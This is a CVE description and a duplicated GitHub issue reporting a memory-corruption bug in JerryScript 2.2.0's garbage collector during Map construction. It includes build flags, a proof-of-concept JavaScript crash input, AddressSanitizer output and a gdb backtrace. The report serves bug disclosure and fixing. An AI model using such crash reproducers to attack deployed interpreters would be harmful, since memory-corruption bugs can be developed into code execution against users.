An issue was discovered in ecma/operations/ecma-container-object.c in JerryScript 2.2.0. Operations with key/value pairs did not consider the case where garbage collection is triggered after the key operation but before the value operation, as demonstrated by improper read access to memory in ecma_gc_set_object_visited in ecma/base/ecma-gc.c.
###### JerryScript revision
7a20150ae747742c178e7d61bb4b3c71476925e2

###### Build platform
Ubuntu 18.04.4 LTS (Linux 4.15.0-91-generic x86_64)

and

ProductName:	Mac OS X
ProductVersion:	10.15.4
BuildVersion:	19E287

###### Build steps

```sh
python tools/build.py --profile=es2015-subset --lto=off --compile-flag=-g \
--strip=off --logging=on \
--compile-flag=-fsanitize=address --stack-limit=15
```

```
python tools/build.py --profile=es2015-subset --lto=off --compile-flag=-g \
--error-messages=on --debug --strip=off --logging=on \
 --compile-flag=-fsanitize=address --stack-limit=15
```

###### Test case

- to reproduce the bug for this PoC, keep the same filename length and run the interpreter providing the basename only, as in the Execution steps below.

- filename: 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.js'

```javascript
function main() {
var v2 = [1337];
var v3 = [13.37,v2];
var v7 = 0;
while (v7 < 6) {
    var v10 = [13.37,13.37,"object"];
    var v14 = [13.37];
    var v16 = [v14,v10];
    var v17 = {e:1337,__proto__:v16,valueOf:-9007199254740991,toString:WeakSet};
    var v19 = [Int8Array,v17];
    var v21 = new Map(v19);
    var v22 = v3.unshift(0);
}
}
main();
```

###### Execution steps

```sh
~/jerryscript-test/build/bin/jerry xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.js
ASAN:DEADLYSIGNAL
=================================================================
==15897==ERROR: AddressSanitizer: SEGV on unknown address 0x55e63e629888 (pc 0x55e6393d7f9d bp 0x000004e7ffe3 sp 0x7fff9494ba70 T0)
==15897==The signal is caused by a READ memory access.
    #0 0x55e6393d7f9c in ecma_gc_set_object_visited /home/jerryscript-test/jerry-core/ecma/base/ecma-gc.c:85
    #1 0x55e6393d7707 in ecma_gc_mark_map_object /home/jerryscript-test/jerry-core/ecma/base/ecma-gc.c:330
    #2 0x55e6393d7707 in ecma_gc_mark /home/jerryscript-test/jerry-core/ecma/base/ecma-gc.c:594
    #3 0x55e6393d88a4 in ecma_gc_run /home/jerryscript-test/jerry-core/ecma/base/ecma-gc.c:1395
    #4 0x55e6393d15bd in jmem_heap_realloc_block /home/jerryscript-test/jerry-core/jmem/jmem-heap.c:539
    #5 0x55e6393d9da4 in ecma_collection_push_back /home/jerryscript-test/jerry-core/ecma/base/ecma-helpers-collection.c:140
    #6 0x55e6393f13ee in ecma_op_internal_buffer_append /home/jerryscript-test/jerry-core/ecma/operations/ecma-container-object.c:71
    #7 0x55e6393f13ee in ecma_op_container_set /home/jerryscript-test/jerry-core/ecma/operations/ecma-container-object.c:790
    #8 0x55e6393ea3cf in ecma_builtin_dispatch_routine /home/jerryscript-test/jerry-core/ecma/builtin-objects/ecma-builtins.c:1115
    #9 0x55e6393ea3cf in ecma_builtin_dispatch_call /home/jerryscript-test/jerry-core/ecma/builtin-objects/ecma-builtins.c:1139
    #10 0x55e6393f6491 in ecma_op_function_call /home/jerryscript-test/jerry-core/ecma/operations/ecma-function-object.c:1085
    #11 0x55e6393f0ec4 in ecma_op_container_create /home/jerryscript-test/jerry-core/ecma/operations/ecma-container-object.c:516
    #12 0x55e6393ea525 in ecma_builtin_dispatch_construct /home/jerryscript-test/jerry-core/ecma/builtin-objects/ecma-builtins.c:1180
    #13 0x55e63942fb2e in opfunc_construct /home/jerryscript-test/jerry-core/vm/vm.c:849
    #14 0x55e63942fb2e in vm_execute /home/jerryscript-test/jerry-core/vm/vm.c:4151
    #15 0x55e63942ff2c in vm_run /home/jerryscript-test/jerry-core/vm/vm.c:4232
    #16 0x55e6393f4ffd in ecma_op_function_call_simple /home/jerryscript-test/jerry-core/ecma/operations/ecma-function-object.c:886
    #17 0x55e6393f6491 in ecma_op_function_call /home/jerryscript-test/jerry-core/ecma/operations/ecma-function-object.c:1085
    #18 0x55e63942ee5b in opfunc_call /home/jerryscript-test/jerry-core/vm/vm.c:764
    #19 0x55e63942ee5b in vm_execute /home/jerryscript-test/jerry-core/vm/vm.c:4130
    #20 0x55e63942ff2c in vm_run /home/jerryscript-test/jerry-core/vm/vm.c:4232
    #21 0x55e6393d3b9d in jerry_run /home/jerryscript-test/jerry-core/api/jerry.c:595
    #22 0x55e6393cf64d in main /home/jerryscript-test/jerry-main/main-unix.c:759
    #23 0x7fa01742eb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    #24 0x55e6393d1969 in _start (/home/jerryscript-test/build/bin/jerry+0x1a969)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/jerryscript-test/jerry-core/ecma/base/ecma-gc.c:85 in ecma_gc_set_object_visited
==15897==ABORTING
```

```
~/jerryscript-asan-debug/build/bin/jerry xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.js
ICE: Assertion '((jmem_cpointer_t) uint_ptr) == uint_ptr' failed at /home/jerryscript-asan-debug/jerry-core/jmem/jmem-allocator.c(jmem_decompress_pointer):219.
Error: ERR_FAILED_INTERNAL_ASSERTION
Aborted (core dumped)
```

###### Backtrace

```
$ gdb -nx -q ~/jerryscript-test/build/bin/jerry -ex 'r xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.js'
Reading symbols from /home/jerryscript-test/build/bin/jerry...done.
Starting program: /home/jerryscript-test/build/bin/jerry xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.js
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x0000555555574f9d in ecma_gc_set_object_visited (object_p=0x55555a7c6888) at /home/jerryscript-test/jerry-core/ecma/base/ecma-gc.c:85
85        if (object_p->type_flags_refs >= ECMA_OBJECT_NON_VISITED)
(gdb) x/i $rip
=> 0x555555574f9d <ecma_gc_set_object_visited+35>:      mov    (%rdi),%ax
(gdb) x/g $rdi
0x55555a7c6888: Cannot access memory at address 0x55555a7c6888
```
Memory corruption in ecma_gc_set_object_visited (jerry-core/ecma/base/ecma-gc.c:85)
This is a GitHub Issue
repo:jerryscript
owner:jerryscript-project
Title : Memory corruption in ecma_gc_set_object_visited (jerry-core/ecma/base/ecma-gc.c:85)
Issue date:

--- start body ---
###### JerryScript revision
7a20150ae747742c178e7d61bb4b3c71476925e2

###### Build platform
Ubuntu 18.04.4 LTS (Linux 4.15.0-91-generic x86_64)

and

ProductName:	Mac OS X
ProductVersion:	10.15.4
BuildVersion:	19E287

###### Build steps

```sh
python tools/build.py --profile=es2015-subset --lto=off --compile-flag=-g \
--strip=off --logging=on \
--compile-flag=-fsanitize=address --stack-limit=15
```

```
python tools/build.py --profile=es2015-subset --lto=off --compile-flag=-g \
--error-messages=on --debug --strip=off --logging=on \
 --compile-flag=-fsanitize=address --stack-limit=15
```

###### Test case

- to reproduce the bug for this PoC, keep the same filename length and run the interpreter providing the basename only, as in the Execution steps below.

- filename: 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.js'

```javascript
function main() {
var v2 = [1337];
var v3 = [13.37,v2];
var v7 = 0;
while (v7 < 6) {
    var v10 = [13.37,13.37,"object"];
    var v14 = [13.37];
    var v16 = [v14,v10];
    var v17 = {e:1337,__proto__:v16,valueOf:-9007199254740991,toString:WeakSet};
    var v19 = [Int8Array,v17];
    var v21 = new Map(v19);
    var v22 = v3.unshift(0);
}
}
main();
```

###### Execution steps

```sh
~/jerryscript-test/build/bin/jerry xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.js
ASAN:DEADLYSIGNAL
=================================================================
==15897==ERROR: AddressSanitizer: SEGV on unknown address 0x55e63e629888 (pc 0x55e6393d7f9d bp 0x000004e7ffe3 sp 0x7fff9494ba70 T0)
==15897==The signal is caused by a READ memory access.
    #0 0x55e6393d7f9c in ecma_gc_set_object_visited /home/jerryscript-test/jerry-core/ecma/base/ecma-gc.c:85
    #1 0x55e6393d7707 in ecma_gc_mark_map_object /home/jerryscript-test/jerry-core/ecma/base/ecma-gc.c:330
    #2 0x55e6393d7707 in ecma_gc_mark /home/jerryscript-test/jerry-core/ecma/base/ecma-gc.c:594
    #3 0x55e6393d88a4 in ecma_gc_run /home/jerryscript-test/jerry-core/ecma/base/ecma-gc.c:1395
    #4 0x55e6393d15bd in jmem_heap_realloc_block /home/jerryscript-test/jerry-core/jmem/jmem-heap.c:539
    #5 0x55e6393d9da4 in ecma_collection_push_back /home/jerryscript-test/jerry-core/ecma/base/ecma-helpers-collection.c:140
    #6 0x55e6393f13ee in ecma_op_internal_buffer_append /home/jerryscript-test/jerry-core/ecma/operations/ecma-container-object.c:71
    #7 0x55e6393f13ee in ecma_op_container_set /home/jerryscript-test/jerry-core/ecma/operations/ecma-container-object.c:790
    #8 0x55e6393ea3cf in ecma_builtin_dispatch_routine /home/jerryscript-test/jerry-core/ecma/builtin-objects/ecma-builtins.c:1115
    #9 0x55e6393ea3cf in ecma_builtin_dispatch_call /home/jerryscript-test/jerry-core/ecma/builtin-objects/ecma-builtins.c:1139
    #10 0x55e6393f6491 in ecma_op_function_call /home/jerryscript-test/jerry-core/ecma/operations/ecma-function-object.c:1085
    #11 0x55e6393f0ec4 in ecma_op_container_create /home/jerryscript-test/jerry-core/ecma/operations/ecma-container-object.c:516
    #12 0x55e6393ea525 in ecma_builtin_dispatch_construct /home/jerryscript-test/jerry-core/ecma/builtin-objects/ecma-builtins.c:1180
    #13 0x55e63942fb2e in opfunc_construct /home/jerryscript-test/jerry-core/vm/vm.c:849
    #14 0x55e63942fb2e in vm_execute /home/jerryscript-test/jerry-core/vm/vm.c:4151
    #15 0x55e63942ff2c in vm_run /home/jerryscript-test/jerry-core/vm/vm.c:4232
    #16 0x55e6393f4ffd in ecma_op_function_call_simple /home/jerryscript-test/jerry-core/ecma/operations/ecma-function-object.c:886
    #17 0x55e6393f6491 in ecma_op_function_call /home/jerryscript-test/jerry-core/ecma/operations/ecma-function-object.c:1085
    #18 0x55e63942ee5b in opfunc_call /home/jerryscript-test/jerry-core/vm/vm.c:764
    #19 0x55e63942ee5b in vm_execute /home/jerryscript-test/jerry-core/vm/vm.c:4130
    #20 0x55e63942ff2c in vm_run /home/jerryscript-test/jerry-core/vm/vm.c:4232
    #21 0x55e6393d3b9d in jerry_run /home/jerryscript-test/jerry-core/api/jerry.c:595
    #22 0x55e6393cf64d in main /home/jerryscript-test/jerry-main/main-unix.c:759
    #23 0x7fa01742eb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    #24 0x55e6393d1969 in _start (/home/jerryscript-test/build/bin/jerry+0x1a969)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/jerryscript-test/jerry-core/ecma/base/ecma-gc.c:85 in ecma_gc_set_object_visited
==15897==ABORTING
```

```
~/jerryscript-asan-debug/build/bin/jerry xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.js
ICE: Assertion '((jmem_cpointer_t) uint_ptr) == uint_ptr' failed at /home/jerryscript-asan-debug/jerry-core/jmem/jmem-allocator.c(jmem_decompress_pointer):219.
Error: ERR_FAILED_INTERNAL_ASSERTION
Aborted (core dumped)
```

###### Backtrace

```
$ gdb -nx -q ~/jerryscript-test/build/bin/jerry -ex 'r xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.js'
Reading symbols from /home/jerryscript-test/build/bin/jerry...done.
Starting program: /home/jerryscript-test/build/bin/jerry xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.js
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x0000555555574f9d in ecma_gc_set_object_visited (object_p=0x55555a7c6888) at /home/jerryscript-test/jerry-core/ecma/base/ecma-gc.c:85
85        if (object_p->type_flags_refs >= ECMA_OBJECT_NON_VISITED)
(gdb) x/i $rip
=> 0x555555574f9d <ecma_gc_set_object_visited+35>:      mov    (%rdi),%ax
(gdb) x/g $rdi
0x55555a7c6888: Cannot access memory at address 0x55555a7c6888
```
--- end body ---
